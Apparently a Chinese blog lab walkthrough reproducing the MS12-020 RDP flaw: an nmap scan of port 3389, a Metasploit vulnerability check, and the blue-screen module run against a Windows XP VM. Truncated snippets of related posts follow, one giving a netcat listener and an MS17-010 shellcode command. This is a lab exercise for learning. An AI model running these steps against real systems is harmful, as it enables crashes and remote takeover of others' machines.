漏洞名：ms12-020（全稱：microsoft windows遠端桌面協議rdp遠端**執行漏洞）
介紹：rdp協議是乙個多通道的協議，讓使用者連上提供微軟終端機服務的電腦。 windows在處理某些物件時存在錯誤，可通過特製的rdp報文訪問未初始化或已經刪除的物件，導致任意**執行。 然後控制系統。
靶機：xp 192.168.45.158
攻擊機：kali 192.168.45.155
1 用nmap掃瞄一下靶機有沒有開啟3389
ms12-020復現-xp藍屏
2. 掃瞄之後發現3389是開放的，然後啟動msfconsole， 利用裡面的模組檢視是否存在ms12-020漏洞。
使用 use auxiliary/scanner/rdp/ms12_020_check模組，建立目標位址
驗證 run
存在這個漏洞 ，有效
3. 存在這個漏洞
直接利用藍屏模組
檢視需要設定什麼引數
開始攻擊 run
4. 攻擊成功
MS12 020遠端桌面漏洞復現
ms12 020全稱microsoft windows遠端桌面協議rdp遠端 執行漏洞。遠端桌面協議 rdp，remote desktop protocol 是乙個多通道 multi channel 的協議，使用者可以通過客戶端遠端連線服務端。占用埠 3389 microsoft windows x...
MS12 020 遠端桌面漏洞
1.1.漏洞資訊介紹 microsoft 安全公告 ms12 020 遠端桌面中的漏洞可能允許遠端執行 攻擊者利用 ms12 020 漏洞向 受影響的系統傳送一系列特製 rdp 資料報，則有可能造成被攻擊系統藍屏 重啟或任意代 1 測試攻擊需要用到的工具及指令碼 ruby186 26.exe 523...
ms17 010漏洞復現
很老的洞了，只是老師上課講了，我就復現一遍。環境靶機為windows7並且存在此漏洞 攻擊機需要python3環境 nc lvp 8888 python ms17 010.py host 192.168.217.2 file shellcode 只需這兩條命令，便可以利用成功，其中ms17 010....